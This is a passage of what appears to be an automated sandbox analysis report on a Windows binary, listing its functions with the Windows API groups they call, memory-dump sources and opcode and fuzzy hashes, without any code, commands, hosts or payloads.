                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessagePost$KeyboardState$Parent
                                                          • String ID:
                                                          • API String ID: 87235514-0
                                                          • Opcode ID: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
                                                          • Instruction ID: 1742e3f7f9c60b49d0b0b11df5232c73d01032ef4191203979bd509771113f0e
                                                          • Opcode Fuzzy Hash: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
                                                          • Instruction Fuzzy Hash: ED51D023A4C6D155F771A7716140A7EAF62FB46BC0FE890B4DA8A07F86CA0CE456C331
                                                          Function 00007FF787C19248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: LongMessageSendWindow
                                                          • String ID:
                                                          • API String ID: 3360111000-0
                                                          • Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
                                                          • Instruction ID: ca71f4bad7983c51d8c1f0880fb6ead3df0f710a5976ea83ecd0151e660f77c9
                                                          • Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
                                                          • Instruction Fuzzy Hash: AB414025A99A8681EB60EB19E490679B364FBC4F94FB54135CA1F47BA4CF3DE443C320
                                                          Function 00007FF787C037A8 Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastinet_addrsocket
                                                          • String ID:
                                                          • API String ID: 4170576061-0
                                                          • Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
                                                          • Instruction ID: b6580b0e85c7d8735ab5e182ce78e4d1ea6601725173c8dd3d5c01655fb8798c
                                                          • Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
                                                          • Instruction Fuzzy Hash: E341E032A5868282E720EF26E4442ADB764FB85BE5FA04235CE5F03B91CF3CD446C760
                                                          Function 00007FF787C1A884 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                                          • String ID:
                                                          • API String ID: 161812096-0
                                                          • Opcode ID: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
                                                          • Instruction ID: 39f824dbaf90e909bfa901ee27b06d2fdffe3d4eeb41f4d53b39bbd5e9ea2a2e
                                                          • Opcode Fuzzy Hash: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
                                                          • Instruction Fuzzy Hash: 11419F36A44F0585EB50DF22E8806AD77B8FB44B98FA54035DE4E03764CF38D486C720
                                                          Function 00007FF787C115C4 Relevance: 10.6, APIs: 7, Instructions: 90registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                          • String ID:
                                                          • API String ID: 395352322-0
                                                          • Opcode ID: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
                                                          • Instruction ID: a8480928f67014beadc5764ce1ee46a01d5094045d4688d7879a513c0e4d3818
                                                          • Opcode Fuzzy Hash: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
                                                          • Instruction Fuzzy Hash: 8841D432A5CB8186E720DF11E4547FEA3A8FB89744FA40131EA8E07A58CF3DC54AC760
                                                          Function 00007FF787BE4FCC Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                          • String ID:
                                                          • API String ID: 3761583154-0
                                                          • Opcode ID: 470201b7a7510a06dd913372f332e36f0e26382b67c565ba0de27237d0cac92a
                                                          • Instruction ID: a5606dd61c42c20acfce6ac7af45bff68c3cc1df74159359e3c7ec128a314189
                                                          • Opcode Fuzzy Hash: 470201b7a7510a06dd913372f332e36f0e26382b67c565ba0de27237d0cac92a
                                                          • Instruction Fuzzy Hash: 94319032A48B4585DB24EB12E444169B7A1FB44FA0FA88236EA5F03791DE3CE046C314
                                                          Function 00007FF787BE4EB0 Relevance: 10.6, APIs: 7, Instructions: 74memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AllocByteCharMultiStringWide
                                                          • String ID:
                                                          • API String ID: 3603722519-0
                                                          • Opcode ID: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
                                                          • Instruction ID: 8ba63b939aff8e63dcff3660fd867950860ae60f677e92a78ac62fca172d6556
                                                          • Opcode Fuzzy Hash: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
                                                          • Instruction Fuzzy Hash: CC319232A58B4589DB24EF11F444269F7A5FB44FA0FA84236EA5E03795CF3CE486C750
                                                          Function 00007FF787C1AEDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CreateObjectStockWindow
                                                          • String ID: Msctls_Progress32
                                                          • API String ID: 1025951953-3636473452
                                                          • Opcode ID: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
                                                          • Instruction ID: 7df7ad56cc704f5316bb432545ed7d12e026230da58af8142a3de3540b757540
                                                          • Opcode Fuzzy Hash: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
                                                          • Instruction Fuzzy Hash: F431573665968187E360DF25F494B1AB761FB88790F609239EB9A03B58CF3CD846CF10
                                                          Function 00007FF787B78F40 Relevance: 9.2, APIs: 6, Instructions: 246COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Rect$Client$Window$MetricsScreenSystem
                                                          • String ID:
                                                          • API String ID: 3220332590-0
                                                          • Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
                                                          • Instruction ID: 95749cf48bab5e1ec5fc88af70fbb4440ef8e8f9b050168d4e2cda50ab747919
                                                          • Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
                                                          • Instruction Fuzzy Hash: 5FA1087AA5828386E724AF35C4047BD77A2FF04B58FA41035DE1B5BA94EA3D9802D330
                                                          Function 00007FF787BDAD30 Relevance: 9.2, APIs: 6, Instructions: 193memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearCopy$AllocInitString
                                                          • String ID:
                                                          • API String ID: 3859894641-0
                                                          • Opcode ID: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
                                                          • Instruction ID: 8df874474dea411115d4a5312aa700394e75529ea7bddc6e5742851b67211f4d
                                                          • Opcode Fuzzy Hash: e8b24930f51ba047eb7d77df0b47a13309a91a72afe8362d3ff3918905f513c3
                                                          • Instruction Fuzzy Hash: 1C715E7199824286EA28BF2591980BDEE66FF44B80FB44036D74F4B791DF2CED12D321
                                                          Function 00007FF787BED1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
                                                          • String ID:
                                                          • API String ID: 564229958-0
                                                          • Opcode ID: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
                                                          • Instruction ID: 0b27f7d6eb8bea4a4d2e07229b9b8899ffa64b1e17f340c39eb8c0061e6bfb31
                                                          • Opcode Fuzzy Hash: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
                                                          • Instruction Fuzzy Hash: D8517532A586C295EB20FF34D8402EDA766FF90784FD00132E64E5769ADFA8D746C750
                                                          Function 00007FF787B7D4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %.15g$0x%p$False$True
                                                          • API String ID: 0-2263619337
                                                          • Opcode ID: e719f584031d415f058583bc3760330c0d061c7a3d1d344f28d0a5967c239e6c
                                                          • Instruction ID: d2d434d19f8018af8ecba5f320afdace92ed68a18250c7342155d7867ad6077b
                                                          • Opcode Fuzzy Hash: e719f584031d415f058583bc3760330c0d061c7a3d1d344f28d0a5967c239e6c
                                                          • Instruction Fuzzy Hash: C151A732B49A4286EB10EB69D0401BDA766FB84BD8FB48131DA1F47795DD39E407C360
                                                          Function 00007FF787C04C58 Relevance: 9.1, APIs: 6, Instructions: 99COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$PerformanceQuery$CounterRectmouse_event$CursorDesktopForegroundFrequencySleep
                                                          • String ID:
                                                          • API String ID: 383626216-0
                                                          • Opcode ID: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
                                                          • Instruction ID: 2a5ed16c5436ca38f767159502b9705a210ab61f739f05aac07c3a65e203eb66
                                                          • Opcode Fuzzy Hash: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
                                                          • Instruction Fuzzy Hash: A331A033B086528BE314DF61E8807AD77A5FB88758FA00235EE1A57A84DF38E946C750
                                                          Function 00007FF787BDD2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                          • String ID:
                                                          • API String ID: 1413079979-0
                                                          • Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
                                                          • Instruction ID: ee8f849d5488e0e8c3f7ae833d40973afa1fb74c64d543ab0a145904f9210b77
                                                          • Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
                                                          • Instruction Fuzzy Hash: 85316B32658B8586D760DF02F4847AAB7A5FB84B90F544126DE8E03714DF7CD446CB10
                                                          Function 00007FF787BE2240 Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CapsDevice$Release
                                                          • String ID:
                                                          • API String ID: 1035833867-0
                                                          • Opcode ID: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
                                                          • Instruction ID: 14b9ae82aab5b6b23f72a5864a47c3d2c077f231830dba53ff61e9c390f58a0c
                                                          • Opcode Fuzzy Hash: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
                                                          • Instruction Fuzzy Hash: 0411A335B14B0186EB08DF61E44803AABA5FB48BD0FA08078CE0F47B54DE3DD842C710
                                                          Function 00007FF787C209FC Relevance: 9.0, APIs: 6, Instructions: 45COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                          • String ID:
                                                          • API String ID: 43455801-0
                                                          • Opcode ID: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
                                                          • Instruction ID: d663e96a6325f5f3e20b2e2a1ce8113ed1b6c81ba7e72b74a00dd3c607f7d411
                                                          • Opcode Fuzzy Hash: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
                                                          • Instruction Fuzzy Hash: 8911BF35BA429282E714AB15F804B69AB64FB85B94FA84135CF1703B50CF7DA486C750
                                                          Function 00007FF787B92D5C Relevance: 9.0, APIs: 6, Instructions: 39keyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Virtual
                                                          • String ID:
                                                          • API String ID: 4278518827-0
                                                          • Opcode ID: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
                                                          • Instruction ID: 3808e5840b1f0ccee97fc2331b8e397fab9c3598f25ba5d3488b0a7a9b15db84
                                                          • Opcode Fuzzy Hash: d88387182f0ff78ab7778ef1a67cdc330360886ef23228c05630025599c5fb3f
                                                          • Instruction Fuzzy Hash: 6F1152729156408AD348DF39DC4812A7BB6FB58B08F948074C25A8F265EF79D49BC710
                                                          Function 00007FF787BDF378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                          • String ID:
                                                          • API String ID: 179993514-0
                                                          • Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
                                                          • Instruction ID: dd7f4dc39db6bb237561ccae356b9873c7330c8cfa32207ca22fe855ec598572
                                                          • Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
                                                          • Instruction Fuzzy Hash: 55F08130F6871143F750AB71F88863AA696BF88754FE44034D90F03B50DE7CD086C620
                                                          Function 00007FF787BDD868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
